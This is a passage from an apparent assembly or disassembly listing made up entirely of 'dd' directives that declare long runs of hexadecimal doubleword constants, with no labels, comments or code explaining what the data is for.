241BB55Fh, 552200F9h, 90A0BD73h, 7B0F1556h, 0A0676457h dd 0D14B3FA1h, 9D3B00EEh, 0D8FA6143h, 0D30BC1A0h, 106727h dd 7E550CF8h, 907F45h, 0EDD52808h, 7F1EB4E8h, 91336800h dd 0B9CB438Fh, 381B12F5h, 0B6C70E6Eh, 26002DABh, 11531AABh dd 0DEE1CC00h, 577139C2h, 16D209D7h, 5A00F14Ch, 0C05EDABFh dd 8FB7A901h, 62FE9F83h, 18A2F0h, 5CDEEAACh, 0CD553897h dd 0E4B03600h, 2EAD124Bh, 5E9B1267h, 0C92C032Ch, 8C882191h dd 57003E53h, 0F92544FCh, 5206C09h, 528662BEh, 9C89C079h dd 0FD03937Ch, 99C74B50h, 71C5C806h, 733F8DCh, 0D34587DAh dd 0D8D13095h, 0B900A0ABh, 81856FF3h, 166B031Dh, 8C1AAh dd 0E3B45591h, 5E300CECh, 17CA90F2h, 6FECB5h, 0DAD4CD2Ch dd 7D56D23Bh, 2442B100h, 0A54D7186h, 506C001Dh, 0C5851FFBh dd 6B0F14B2h, 0A0DA2DECh, 452B8B25h, 0D5B08Eh, 884114Ah dd 0DCDEBF15h, 9F39F8E8h, 0B72A806Eh, 22710186h, 6FD80058h dd 0BBFD51A6h, 827744DCh, 0A0E34E00h, 587AEE6Bh, 352D4829h dd 39EBD303h, 0A3874156h, 1000D29Dh, 0DDB32A19h, 18C283F6h dd 18D1A66Bh, 0BE0266C3h, 5F03F8B5h, 1D3C401Ch, 9B4F4050h dd 74355406h, 493E08h, 0A4BC1532h, 0CD13DBBEh, 7D57C00h dd 7F901724h, 0EEEB00B4h, 0CF02FA29h, 0E0244F4h, 0B5CBD2Ah dd 4DC48780h, 950925F0h, 0F3780069h, 3E30A7B3h, 0A100ED44h dd 939D61EBh, 0D15F6Bh, 0C145BDE1h, 0F5240C5Dh, 0DE31D600h dd 58AF8C6Eh, 96C902Eh, 9DF1ADF3h, 8331D025h, 52A1E087h dd 0CE477076h, 0BACDB401h, 7C4E5946h, 2C7FAC30h, 35D275Ch dd 0EACAF528h, 0F86CBFB1h, 0B85CC0A8h, 0FE4E00EAh, 80170E45h dd 220B0CAh, 0DD42FA13h, 37E07615h, 7E00A40Ch, 2F81E810h dd 3C5EC28h, 23F3C4F6h, 40C8ADCAh, 1D906765h, 7AE07F00h dd 0AA8074F8h, 99F11F2Fh, 0A058B0F3h, 0DCE69334h, 3141F93Fh dd 9EB0084Ah, 1CC20h, 0FBC305DDh, 7DEA53Dh, 0EF287E02h dd 601DF8AEh, 710E244h, 1824912Ch, 0E0A8C0B7h, 0C70E4E29h dd 0E02B145Dh, 6C0E8AB0h, 44F2ACh, 0DCE8F388h, 0B70B1B2Ah dd 82D7F607h, 6E147040h, 5E57B680h, 290A0486h, 0C02B2211h dd 1418EE34h, 0BFAB6800h, 2B66C59h, 3F780BE5h, 0CD002767h dd 0F11403C8h, 0A9F3706h, 9C7046h, 7E54F2D2h, 52FA8932h dd 8F56411Fh, 57CAF870h, 69443B12h, 0BE509600h, 9737F26Bh dd 218B9401h, 0E721F3Bh, 125CC4h, 0CC7F6E49h, 54350339h dd 0C56C5D00h, 40DCC6AAh, 0CBF5002Dh, 3CE53E10h, 967ECDA1h dd 72636F26h, 8E0D5A00h, 2DC4BAEh, 0CFC7FECCh, 0C0A0CEE3h dd 2236C349h, 0AF0710E6h, 5B2B2A4Eh, 0D687DFC0h, 1386334Fh dd 1C06F11h, 0AB079638h, 0F764B1D9h, 8DBED181h, 0C0E42ED4h dd 281FE6D9h, 0D0031725h, 1339038h, 0B070FF20h, 0C76F8327h dd 76D6C629h, 0A34958E7h, 0FDB80034h, 0AEA2CFADh, 0B737001Fh dd 0C4D00D67h, 0CA7375A7h, 42B3DF06h, 7838E2BDh, 0CFDC14B2h dd 0E70668E1h, 50A7363Ch, 0AE00B579h, 0ACFBF1C8h, 28C3B78Bh dd 8C103AE7h, 174D0084h, 227FBBD7h, 75009F6Fh, 2CFB85CCh dd 7640FF5Dh, 42CD00F0h, 7C49E1D4h, 3200C375h, 8DBBDBF1h dd 0E4B8DCD0h, 1E4400D3h, 2C2553A5h, 0EE03837Ah, 0FFCBCC4Fh dd 0E8DDE8E1h, 406F0028h, 0B8B170A4h, 491F78ECh, 771D3D58h dd 5FB2C600h, 718FED3h, 0BCC1E430h, 0EA3710BAh, 76008FAAh dd 8E012E1Dh, 0DEFF13h, 73C1526Ah, 575CD79Dh, 0EE87B700h dd 8B0E4866h, 742B2E3Bh, 2AD900F4h, 153414CFh, 0FD08C207h dd 0A16FFE6h, 37070146h, 0A1DD3570h, 7865E073h, 40325400h dd 2F3DE045h dd 7F94A8D4h, 13E0A83Fh, 0ED20044h, 1DF3B3ACh, 9F0142B9h dd 0AD738A14h, 7BFCA0EFh, 0DE40050h, 2C946599h, 0A2744A42h dd 5E02F0F0h, 0A65F5AF7h, 44C8A037h, 8ACF7Dh, 2994470Ch dd 0BA7F20D8h, 0DC099678h, 23A6BBE4h, 0C18C2E14h, 1180A4B6h dd 6E663140h, 6300ED05h, 36EC104Bh, 0C592718h, 0D0C85FF0h dd 9207A5C1h, 2BBB2AFh, 0FF10DF21h, 7EEBE70h, 0E3F93108h dd 947DA39Eh, 61C8D7B0h, 0BADA39C2h, 27F3832Eh, 0C62DE869h dd 0B85CECAAh, 0FFC50064h, 0FADF591h, 0DF00184Dh, 27190316h dd 2437CE24h, 8090BAC8h, 0DC9B48A8h, 7B00DAF3h, 538D5F59h dd 0E2230F32h, 5FC038Ah, 31E1BB33h, 4122C000h, 0C6F6DE4Bh dd 206B12D8h, 0BC910C06h, 0C1007151h, 6FE5F344h, 0CA9C2Ah dd 2FA38DCEh, 0A235AF18h, 15B32200h, 99F041E8h, 9B0601E7h dd 981CD30Eh, 0B7A053AAh, 0DB2B69C0h, 0BE0611Fh, 63EE3B40h dd 0C1C8D42Ch, 0CFB87989h, 36884865h, 30ED9401h, 0F3B04B91h dd 1F1C3E0h, 18C74CF6h, 50420531h, 0EDA4697Ch, 0F2011B01h dd 5EC25FD2h, 2C807D8h, 65AB11AFh, 4484E61h, 0E7031252h dd 203214D3h, 77800E86h, 7C80ACFEh, 0AF283805h, 0AE22CD18h dd 39335C1h, 41CCD2A5h, 77D047F6h, 0A86F9778h, 3E344021h dd 0AB73ACh, 16D86039h, 0BBE12964h, 0CFA7040Dh, 36F8A9B9h dd 0A2C400CAh, 6853F731h, 8B00A61Dh, 4427AEFAh, 7FB6096Dh dd 5CA748D3h, 51AB7E80h, 0ED0DF052h, 0C058E123h, 907C7D30h dd 11F47974h, 44AC33h, 0CC6DF304h, 474C405h, 7F260C02h dd 10AC90E2h, 0D71CAA90h, 27C88EFh, 86AC870Ah, 5D8480C5h dd 0B8E7C4h, 91320619h, 0D01341EAh, 943E943Ch, 3FF4E94Ah dd 90DF00C9h, 8A449BB6h, 0A06340CFh, 21EBF21Fh, 0DDE9D7C0h dd 1916D0Ah, 1A268C94h, 83CC2D3Eh, 19635B29h, 99C46067h dd 0CE9BBA2Fh, 3FFEC31Fh, 6A19E118h, 2B9C1F1Ch, 0C9185E4Bh dd 0CC10229Eh, 8F2CD8AAh, 3B3ED4D2h, 39AD802Dh, 0CE628EFh dd 30D2AEh, 59127C67h, 4C31A9A0h, 66A659D6h, 26809855h dd 0EBC07Dh, 52E6A94Bh, 0BFAF3F24h, 9386270Eh, 6F2623E1h dd 0D05000BAh, 8C135D14h, 0E90147C1h, 5E40503Dh, 2032C3E4h dd 8EA411Eh, 0B380A5B5h, 0F198196Fh, 4B10C0C8h, 0B6584159h dd 9640101h, 0D18C76EBh, 5B037E8Ch, 84ABA0h, 20176369h dd 0D7229F89h, 0DC01F100h, 4419147h, 0B899763Ch, 54BCE262h dd 114B068h, 0BAEC2661h, 0F017FC65h, 0AD61C9E4h, 7A4CAB91h dd 0C1F88450h, 959588Bh, 75A48050h, 1E34008Ah, 0E4F015BBh dd 39C73CC2h, 5805211h, 0C0497FE9h, 6863A141h, 7E00E597h dd 0BE59CB25h, 1D695376h, 88426ABh, 0C380A221h, 0E0B17C03h dd 70CB6EF6h, 0BB5B1A22h, 0D10CD042h, 2E014728h, 0AB015F5Ch dd 7D203C35h, 7173607Eh, 74189A03h, 1B846E00h, 97CB022Eh dd 19F6003Bh, 3E0EB9B0h, 0A081D02Ah, 14089020h, 9043D323h dd 6537CE22h, 8A8F51F7h, 6C8E0C2Eh, 0F9EF2040h, 14C079Bh dd 0FDF38DA4h, 22D93D85h, 41760160h, 48E2D6CEh, 0F18FC8BFh dd 770CAB10h, 0BC2AE459h, 0E7F8F8F8h, 223C39D4h, 0C06EC044h dd 9F641B99h, 1D9B3900h, 0E18C31E7h, 9997E463h, 91E802A0h dd 80552911h, 82BDE6CEh, 37180150h, 2F3C593Eh, 64604167h dd 0C61803Bh, 9BF6F01Dh, 0C30B811h, 467F6674h, 1000EE89h dd 0A1DCB260h, 1E0ED26h, 1B2EF0A5h, 20D4FE07h, 7F319EF4h dd 0FA97316Eh, 8617E0FBh, 0D8D5007Eh, 6DDDC89Fh, 0A9121827h dd 0CC2097BDh, 3D67F33h, 1F0F7CD4h, 0FCD85C81h, 0B0A02C32h dd 0E451AB51h, 22CFD544h, 0E1120094h, 3218B93Bh, 0A0A45EC5h dd 0BFFC3582h, 3F146F00h, 0A9D3835Bh, 60914Eh, 9FED76F9h dd 0B95CA618h, 0E60302C6h, 0C00B08F0h, 214E9F0h, 8692AEF2h dd 2A42EA9Bh, 0CBAF902Eh, 7837B700h, 0F10A42BEh, 0A0E90F92h dd 634F5740h, 0F08B58DCh, 8C8039C9h, 0B04811DAh, 0C668470Dh dd 8333140h, 0EC55007Dh, 4C542DE6h, 449039E4h, 9722240Eh dd 29596C8Ch, 1FB938ACh, 6286C980h, 3FFCAD1Dh, 39B16604h dd 0F08044F9h, 18B4B2DEh, 6971CB65h, 48A02B3Dh, 380A6C2Fh dd 6CACBB8Ah, 2ED5700h, 4078BCh, 47BAAE87h, 0C952B211h dd 82396460h, 96143Bh, 0E416A5D7h, 0BFA760EAh, 4C946604h dd 0C0C94BAAh, 12006C26h, 4736B635h, 6500F8EFh, 0AFDB1DEEh dd 2EBA92D4h, 3C4A124h, 722F111Fh, 20469892h, 2612F8EAh dd 4B00C40Dh, 88E38767h, 7D7E3AC3h, 3C50D302h, 0CC668CDAh dd 49027A00h, 0BF43B573h, 3BE400D3h, 0BAF50BE9h, 0EA0BA872h dd 47A183Eh, 1A476140h, 0B55BD078h, 8B004B54h, 694D99A5h dd 3D3863F9h, 0A08AA693h, 3D4C83B9h, 815DEC1Eh, 0E904060Ah dd 0E7B9D09Ch, 110F0200h, 0CBDA2EF3h, 0DB190224h, 215FBAC7h dd 5DEAFD63h, 0B0B100C0h, 0AF8C4662h, 0D0F46008h, 52920998h dd 94981130h, 0CE00F8D7h, 0BFB54DC8h, 1E46486Bh, 5F7F1DBCh dd 0FC2000DEh, 1C5EEAAEh, 4734C603h, 729527AFh, 44B5049Ch dd 0C08E2D18h, 0D03181C0h, 0C7363200h, 66BD1289h, 0BE6D2ECCh dd 0AF110093h, 10C41F0h, 97E74C16h, 9CDE3C21h, 135BF520h dd 20B8E467h, 9B3812CCh, 35A9D004h, 88CD3E07h, 0DF00A447h dd 5D79AE7Ch, 3A2500F7h, 6BE4D410h, 3B430A00h, 2803A5BCh dd 0AB070E37h, 74E09FACh, 0CAB57E1Ah, 2CB990B8h, 8A764801h dd 0FFDC8513h, 0F36F1C92h, 722C124h, 0FC045986h, 793AD4ADh dd 206A044Fh, 9C882318h, 0FDE0007Bh, 11B9FB8Eh, 8607EECCh dd 0BF75E16Ch, 773DCEF0h, 0B1A126BDh, 7B481188h, 1997D21Ch dd 0A8A6D940h, 0C05FCFBAh, 214AC0E9h, 8900B464h, 8711CE2h dd 3067F933h, 0BA41493Dh, 600079Ah, 0BE49853h, 89D6253Eh dd 0CAD98082h, 9A87521Dh, 9C18008Fh, 0C4CFEA21h, 0FA4AC7A5h dd 689E9000h, 0EBA7D981h, 0C0F01080h, 0CFDB2387h, 5E52B02h dd 64E8F9D7h, 948E002Ch, 36151B90h, 0ADF84CD6h, 1295E608h dd 45FE0054h, 2DB30D69h, 79A68F18h, 0E19D39h, 81823466h dd 3BC2D8A3h, 0AF00257Eh, 11E6C970h, 5CE45496h, 0E1DE0CBBh dd 2480F61Dh, 278AB9CFh, 31380082h, 3E18D6A3h, 0F9D0C926h dd 0AF231884h, 4F4441h, 6558A335h, 6026A4E5h, 0B4A1FF29h dd 8358F80h, 1A2949h, 0E77EFA51h, 0E0C6D918h, 1DA9AC00h dd 5E26A7A2h, 0E310C6AAh, 0A631914Ch, 4E32D96Ch, 3E87BEE9h dd 307C3490h, 0C69814B6h, 7353DB00h, 73F16DFh, 0E4D7130Ah dd 406020BEh, 0AC946068h, 10233D8Bh, 0EDF09Ch, 0FC077742h dd 6DCDF173h, 8C2252h, 3AF8B708h, 98ABA3h, 172C07C1h, 0C6912719h dd 0E4420E04h, 18B49796h, 1F3A00ECh, 0D089148Bh, 0A0070327h dd 1ADE189Eh, 21E400D9h, 1EE30DE5h, 6BC9A4Ah, 9942AB75h dd 0E6018D03h, 9AE8D0BFh, 745C40A4h, 0B34B8B4h, 0C8ED626Eh dd 8EF8F490h, 7859760Eh, 0E4BD80B2h, 32DD094Eh, 7268E256h dd 0E6C154E0h, 0DF190B00h, 0E4C4448Bh, 0DAFB011Ch, 0F53D5339h dd 12862C1h, 0E148E00Ah, 7883E9B7h, 18A46D25h, 246634CAh dd 0D5039A7Ah, 0E4ECF52Eh, 6365F90Dh, 0DA00B422h, 41F1A970h dd 1898EA9Fh, 0F7011DE8h, 0B8EEDDAFh, 5ED0FA0Dh, 2907828h dd 77C11141h, 6460B936h, 0A8A30294h, 0C724F819h, 48628299h dd 4D43EA01h, 38B6317Dh, 11188018h, 1B49CDDh, 5BEDE942h dd 60D41315h dd 694CD59Fh, 8575C058h, 3D7180h, 4431B9D8h, 83B2D4E6h dd 0AFE34F00h, 16261FEDh, 38C101FCh, 2B3E1274h, 0EA6997D2h dd 53D9E030h, 0B93400ADh, 0ED4931F4h, 604A657Fh, 2DAF6440h dd 5497AB1Fh, 69CF3h, 71590724h, 0EC748CD7h, 0DF5E6100h dd 0D1257F99h, 92C11EA2h, 0A1D54214h, 5CA06302h, 85A9A7D2h dd 0CE8B3400h, 0E6C84BAEh, 45E100BCh, 46FD1841h, 0A63065EBh dd 7CFAA14Ah, 0B4081C78h, 0B3A040A9h, 32AA246Ch, 0E582500h dd 1B95D280h, 69C7A13h, 81468F77h, 731D71BDh, 1E03CC45h dd 0D83D316Ah, 24CDEFBh, 0F13CD10h, 7051B7E2h, 0E0523E62h dd 4D972DE4h, 0A8031435h, 7094E6C4h, 6E452C88h, 3672E700h dd 79094427h, 0F1AB3EFEh, 7F021C5Ch, 0E4BEC8E6h, 0D09DE000h dd 7DD7B2Ah, 3A66DB9Ah, 8927185h, 0DCEE497h, 0E719820Eh dd 600C80E5h, 1370775h, 8A74502h, 22B6E212h, 40C92C5Ch dd 60C47342h, 8E8198h, 0CFBE0372h, 2350AD62h, 0D2FE6B7Dh dd 0F01EF17Fh, 106653F8h, 7FCEB004h, 1C4890C8h, 0E437F686h dd 3B5C09B4h, 836A9804h, 4088E788h, 1503C4EDh, 0E8AB515Ah dd 0D03948DBh, 8F4ECEC0h, 0AE003719h, 2905930Ch, 192866Ch dd 0F01C87BFh, 43A79C8Ch, 12806718h, 9F001F6Bh, 5785C5FAh dd 3F61805h, 5FE2213Eh, 0AFA7B296h, 0A4F76504h, 1876BA08h dd 93007290h, 11976A07h, 7C696138h, 0F13406AAh, 0A1707FEAh dd 0F0DE980Ch, 0ADD222h, 75E41C82h, 4A5A97F6h, 81B6230Bh dd 473C0061h, 0B1A67E1Eh, 9E803F54h, 4CF25F21h, 0DA0214C5h dd 0B984CC61h, 124E0EDh, 0C19901D8h, 0ABE762A3h, 261DC495h dd 4EB0A498h, 0CDC95412h, 0B4372440h, 60E944h, 15B24686h dd 0E4AA876Dh, 5E000499h, 92138C2Ch, 2F980336h, 3E04685h dd 87FE0BC0h, 34DA7205h, 8420A652h, 0F5AA15h, 77DB7DC4h dd 6FDA3DE7h, 0FF2080B0h, 820211C8h, 0EA0D006Eh, 0B4DF2AE2h dd 41290008h, 695B3945h, 8A3E3493h, 0F1BF0271h, 5184A2EDh dd 54B20574h, 0C99CA655h, 1146823h, 0ECFE002Bh, 9C9BCB5Bh dd 0F800EF56h, 0C118C5D9h, 42A91CFh, 68485444h, 0BA4CB461h dd 63EA4702h, 5A84D9FFh, 0A58C00A4h, 6BF94236h, 2209CD66h dd 0C88231F2h, 0D3D048h, 2E30A8B5h, 86B8A55Ch, 0AC114408h dd 406E8735h, 0A12900D4h, 0CCA01C99h, 61B0B072h, 0E8787F00h dd 9669A425h, 713CBA85h, 5CAC583Fh, 9C012880h, 816E718h dd 0A0888852h, 70F001Eh, 0EB3F965Dh, 742D346Bh, 15A08792h dd 0E213BF10h, 80D4B1B8h, 9F822F4Ah, 0F100B5D0h, 0CF3F0738h dd 2D5F2CEEh, 3825273Ch, 0CFE88C65h, 0E62BCD06h, 16A0B1F3h dd 584F12Fh, 0A4823D40h, 0A3008F34h, 3937182Eh, 0B0B63511h dd 5C617943h, 0DD806498h, 392F6541h, 3DCF1609h, 0F60099Fh dd 3A6166F7h, 85C0C071h, 0E19FC278h, 12B44849h, 0A0D8DC57h dd 411384BBh, 3CC8EF68h, 1862422Dh, 4B594FFCh, 0D9D0DDAh dd 0C0781E18h, 5C9C972Fh, 20C44140h, 0ACFB166Dh, 77F0025Ch dd 0F0438EBBh, 293DA687h, 161D3B7Eh, 39C9F985h, 527A8084h dd 7DAAD415h, 36982683h, 0D6AF80D0h, 0E5E98B7Bh, 0DF5B4800h dd 15B9C5ACh, 500B3AF7h, 0BAB0DB01h, 204935A9h, 3E007D9Ch dd 0E8E7DD08h, 185206Eh, 0CAE1954Eh, 0D49A4463h, 714B3D35h dd 0EBF92420h, 8B381E67h, 0A7B0C9ECh, 5FAC68C8h, 0EE0080E4h dd 55092365h, 0B1B142BFh, 7FA3809Ch, 25AA8826h, 0C5D8900h dd 0AB665EA8h, 7E93039Fh, 0BE4453E5h, 508F188h, 0C5EAD500h dd 40B46007h, 8BA4837h, 1F16F605h, 12DC123Fh, 55103AAh dd 64F9EB8Ch, 18B04860h, 0B6BD900h, 5B3738D0h, 0EF460094h dd 0CF481F5Eh, 42483108h, 5D261D50h, 4053AA02h, 40F868h dd 0F92E8732h, 4E7C9A49h, 0CB5912Ch, 0E4B37D09h, 89A73D90h dd 918AD080h, 9F5D358Dh, 0BC21493Fh, 4054840Fh, 0F888A6E9h dd 0B4BA007Bh, 4A477E39h, 1B01B8A1h, 0F7AF6F25h, 2822FA64h dd 0B090B025h, 3001819Ah, 796D16F5h, 53D41B85h, 0B75B1F8Ch dd 6780F9BEh, 4F2FC7CEh, 5EEEF80Ah, 0CCDF38A0h, 348FECA0h dd 92B0F05h, 0CC88289h, 534E00BEh, 85DC75BCh, 4165145h dd 7C027147h, 461707E9h, 157000A4h, 904CF357h, 0CF4C9DBEh dd 603A8FF0h, 9EBCC820h, 4844B00Ch, 8F2C2C36h, 417A80A4h dd 0A7250D0Fh, 8180089Eh, 0E19985BCh, 723400F3h, 70455B78h dd 0E800BD44h, 4C23B559h, 39FBACCh, 0C2F4ACE7h, 0CE8AAFA3h dd 48071452h, 0B4FAF5BFh, 61A878F0h, 2B11022Fh, 0CF7377E8h dd 6A008452h, 0FEFCBB20h, 96223DA4h, 17148014h, 0AA6A2D19h dd 8C6DF7h, 4CBE7912h, 209E15Bh, 0A32F18A8h, 1C40F5B4h dd 0C825CD26h, 0A92890B1h, 8EA7001Ah, 2B939004h, 905259Ch dd 0A0E2BE26h, 3ED79CCCh, 8400FCA9h, 0B505DEFFh, 1F0095CDh dd 1307E108h, 0B9ABCB42h, 90620010h, 3155BA53h, 248E0607h dd 6A102688h, 1CFE8B08h, 68B3DF04h, 187500B0h, 3BE9F6AEh dd 3EE4E8DAh, 952EA760h, 0D2D7203Dh, 5F9C30F1h, 0FF21DB0h dd 0AB7170F5h, 0E0F07B02h, 80CFBA30h, 58590E18h, 0AF480EF4h dd 63A0C287h, 35948B3Ch, 0E86DC70Bh, 1B94A7B0h, 0BD222650h dd 0BECBCA5h, 5048CFA7h, 91D191Dh, 89FDD85Ch, 60CBF7B3h dd 0CF3FAC9Ch, 972022F1h, 0B2DDE5F5h, 0D5018C1Fh, 1D5D329Eh dd 0CFB8A243h, 0E85100CBh, 0C20B94D0h, 0DA043E01h, 9C476372h dd 2000B0A2h, 265B2A70h, 0A900B971h, 68291227h, 38F730h dd 4E23C40h, 0C8F60618h, 183689Ch, 983AAE6Ah, 365B81Fh dd 0BA2B0851h, 2D98D3E1h, 0AF12AA8Dh, 4CE4E7A9h, 0B3061241h dd 3C0808E1h, 10CCC781h, 3828A38Ah, 0B2185D05h, 0BA100097h dd 178A62FBh, 49858430h, 7F8E0C5h, 0DD070149h, 7897F09Dh dd 0EB741C9Eh, 0C6CBD377h, 4428E4E2h, 0A679FE40h, 485D4200h dd 4B11CF60h, 0D0830B97h, 5C108144h, 35B0C576h, 0B9D85000h dd 9D05E219h, 89405F0h, 80C2E7D9h, 81FBEAFEh, 0E9A4E000h dd 34261018h, 1731EAAFh, 0CBAA3E5Bh, 0C21000B8h, 0C562DBFDh dd 8E8F0769h, 21764331h, 2B91FA20h, 0AB53A041h, 4181E0E5h dd 7F3105E4h, 0A211804Bh, 7BBF2CECh, 56A500A9h, 7AF0FC5Eh dd 0C0B072C8h, 0B63E344h, 69BA2326h, 0A9A8DC10h, 0B2D41D12h dd 98093C13h, 14122Eh, 49F20BC0h, 989F6ADh, 37216596h dd 4824C820h, 7203F797h, 89AAF9B5h, 9DF8C02Ah, 0B1651E54h dd 0ECC941DDh, 68B3111Eh, 0C51773D8h, 70641776h, 0FF5E54C0h dd 42BB0061h, 0E5199410h, 78B2FDC3h, 0A4E44013h, 4C400437h dd 663F28h, 4EEB4386h, 2CCC2B1Fh, 0FB005F98h, 13E8E94h dd 5067AC35h, 88DE808Bh, 0E605CF36h, 5E7AB839h, 7B88E000h dd 5DDB4Ah, 95F1FD2h, 60AA27CEh, 5B002BB8h, 8D73F47h, 230F042h dd 0A0E9766Eh, 6C60AD17h, 0BE380148h, 0FB7385E8h, 9880E2FDh dd 4C3DA256h, 35809428h, 0C18A70AAh, 1016652Dh, 728AE00h dd 0A21E79A6h, 0E761029Ch, 17CD84E1h, 29B7E570h, 802428E8h dd 0A1333BD0h, 0B416D1Ch, 0A884F014h, 64F641AEh, 0A1105963h dd 250D3218h, 514EAB0Fh, 140050F2h, 0E497C220h, 0EAFD8180h dd 0F100776Dh, 1FC7D53Ah, 0E910775h, 476CB082h, 1DE03EEAh dd 11F2C071h, 594F40E7h, 80717E0h, 44A72821h, 0CDDA2FC0h dd 80249993h, 0DB070F9Eh, 38F06EF5h, 807D143Fh, 2C9F9495h dd 4CC7F3h dd 0B2B41548h, 90C68227h, 3F189D0Fh, 834BA7CFh, 53EA7C40h dd 48B148C2h, 0F95B2100h, 8DD23E15h, 0A9AB8E04h, 28A9E4DFh dd 7AA5C5C0h, 0C800D874h, 168B4CD4h, 1398DBAh, 2A9465D5h dd 8C75E4AAh, 0D82E0839h, 0D7263A0Bh, 54039D00h, 233E2A1Bh dd 0D341F0B4h, 0A020CA0Dh, 5F4678A1h, 2D742036h, 4D1367C1h dd 82AB255Bh, 0ECE4A617h, 0F1E1C600h, 7D93C65h, 0BFEC061Ah dd 2138A66Ah, 30AA7402h, 468DE865h, 0EA1E0ECh, 0C7C1A687h dd 0F608EB80h, 780984D9h, 0E4EA329Ch, 643B0070h, 44439179h dd 78384540h, 4FC00092h, 0C2B9DACh, 0DC4B12BDh, 0F9E50097h dd 0AF68C1DBh, 0F009ACF4h, 7ACF4608h, 538C0020h, 980D32CEh dd 0FFE827CCh, 0EB706C00h, 0E8B92ED3h, 0B80E3A35h, 0E2CCA302h dd 1C56FE19h, 422794C0h, 4C530034h, 0DE173111h, 0A50C1DAAh dd 69BC233Dh, 80C8967Fh, 6F0B7BC0h, 46005DC6h, 7E8D8986h dd 24BA44AEh, 208A0D2h, 0B0101488h, 5ACDE460h, 1E0C3797h dd 0ABFC8AADh, 2BB340BCh, 0D00BE1Eh, 31611116h, 0A13D65E1h dd 0A8F3BA10h, 5047AFC9h, 0DDD24Ah, 2719295Fh, 0F6431721h dd 86B2E650h, 0B4E41116h, 0C6FDDC30h, 93F80112h, 0A3AEA74Eh dd 202E41h, 38B5E68Eh, 8804933h, 4DE41019h, 0E70418A0h dd 81F66C7Dh, 468E4h, 52810C7h, 0C351ADD6h, 1576F100h dd 640282F6h, 4001036Fh, 0F5AEE6E1h, 0E2C69698h, 0A1472D18h dd 16DCA650h, 430E17Bh, 0B0DB1F4Ch, 840968D8h, 99E0E7AAh dd 5EC83810h, 7192010Eh, 1F205236h, 750030E7h, 1CBDE426h dd 3EE94040h, 80709497h, 0A661A894h, 690070DAh, 0C23847A3h dd 61145676h, 962170C1h, 3F82F0BFh, 722C7888h, 364D004Eh dd 1DD13415h, 0CE00E056h, 7305A516h, 2A28AD3Ah, 5CC8B5E5h dd 3100925Ah, 0B06E1CD5h, 7F0668EFh, 1DD894B6h, 7CF408h dd 99FD5BDDh, 2F51A96Eh, 61BDD11Dh, 0B4D02B46h, 0B0320F31h dd 0B000AF3h, 4897454Eh, 12A79F1Ch, 503F7DC0h, 44F6B79Eh dd 0ED0622B2h, 14D8A596h, 7BD1C69h, 1CDE802Fh, 11FAFE0Ah dd 243DF400h, 1E2E909h, 0B7A6307Eh, 0C1A53040h, 71FA5707h dd 2BF0F052h, 755548C7h, 0B697030Ch, 83C21A90h, 0F4143100h dd 3752ECA0h, 0F8F241h, 4397E906h, 77E016A6h, 0B099CC67h dd 0BBD1A65Fh, 130E0111h, 0DCEA5CB8h, 0FBD8CF0Dh, 3D039C07h dd 3D183D4h, 0FE28017Eh, 9DA48434h, 6D75CCE1h, 0E96A5A00h dd 0BBAD8E73h, 0C5041CA6h, 0B5340D0Dh, 4BC06E68h, 88F7F3h dd 0E214B7E9h, 19AE6543h, 2122A8C1h, 48C828E6h, 113E0664h dd 71012BB7h, 0EE413107h, 7AE30B2Fh, 8DE9007Ch, 0F028420Dh dd 0A00FAD47h, 0D873DF88h, 0E1D570h, 6EB9E043h, 8A5F3FFCh dd 2A363A01h, 7E816630h, 75E5CEC8h, 517560CDh, 0EDC8FA56h dd 0D8304E01h, 853E77D0h, 22EA00F2h, 8D01E2DFh, 64083B31h dd 19E552E5h, 348021BFh, 0F24881DAh, 4A304020h, 0D7D6D8A6h dd 0E06EEB66h, 967C8054h, 18327718h, 0A84F3439h, 0B3F290h dd 0C608E8F0h, 59319FB8h, 6D1B7407h, 0F410E4B9h, 73BC727Dh dd 0FD390E36h, 0EAE089B0h, 0BA3C1D95h, 0E2770E00h, 862A143Eh dd 7E793010h, 7C61CFD9h, 9B38921Ch, 1FE70140h, 1E5C9A2h dd 54CBA5A6h, 801E37E0h, 0CFD68F89h, 3D1A46B6h, 0C45651F9h dd 0BF201300h, 9878A5Ah, 0C08F9801h, 77969DA6h, 0A01FEAC4h dd 807FB8DCh, 0B36C97BBh, 33AF9859h, 8D11B434h, 0A43A37E8h dd 443F610Eh, 38FCC114h, 0B9807D79h, 0AB9C97CDh, 2A00F303h dd 0C999CB27h, 54DFBC9Ah, 782CA017h, 30B812DEh, 6F1C0010h dd 92E87238h, 6B906D0Fh, 0F94C40E7h, 0F082C7Bh, 762405D0h dd 0C044FA54h, 0DBC18846h, 0F8AF8E18h, 1FD2F006h, 40B1F62Bh dd 3278B736h, 5C24D773h, 9C0354BFh, 6E92C97h, 0FFBB8B70h dd 7D0149B1h, 1017A314h, 0A1F0796Ah, 0FA96E0B5h, 903D5052h dd 0A84754F8h, 0C91B60D9h, 0E8AD1209h, 0A7003590h, 1EFE9CE4h dd 33F1D08h, 2F87EF6Dh, 10005815h, 1BEABB60h, 2544341h dd 9FAFAB67h, 9CA0777Eh, 0CFF1621Dh, 85E0400h, 53C7CEA7h dd 0E1BF1507h, 0F3001437h, 0BD84B352h, 55032303h, 685A27ACh dd 0E9108881h, 1E400ECh, 0BC7C65A7h, 0B354EFB4h, 11301AECh dd 0B72BC688h, 220CA0F5h, 85D9009Ch, 36DBA23Bh, 8CE8A5A1h dd 7822F5h, 0C1FC8FD4h, 3DC428A6h, 0F700A547h, 4B14D151h dd 3205E38Ch, 0AEFFB903h, 7F58A851h, 5C1C7400h, 0A8ADDFCBh dd 1A7C51h, 59BE585Ah, 9F345B3Ch, 306E1003h, 9B770135h dd 30797B81h, 0DC49717Eh, 8671BB30h, 0ADD8FB17h, 73D2BA00h dd 9394B9EEh, 0F51658h, 7ABB4318h, 613B462Ch, 77EC486Eh dd 2123F901h, 6DC86B9Ch, 77392880h, 0C25E3D0Bh, 0BE0006F8h dd 0EAE7869Fh, 0C04803B9h, 0BA186359h, 11C5A996h, 0C823A079h dd 9C5A007Dh, 7EE38940h, 3103A36Ah, 67BE13D3h, 50AA8870h dd 204649D1h, 0DE08A600h, 0E323A9F0h, 726D8D01h, 5B4E7A45h dd 701FB4C8h, 8861B0E5h, 11C3ED0h, 0EDAE306Ah, 0D5E37B8Bh dd 0DCD08383h, 0ABC40727h, 6990058h, 43D84D81h, 7D0F8DBCh dd 20275101h, 4AE9154Ch, 0BAC10A58h, 11641D03h, 4CE21D84h dd 0D2CF4743h, 0F1C4B817h, 91710782h, 30E1D9EEh, 0A4A6FFDCh dd 7BA4CA48h, 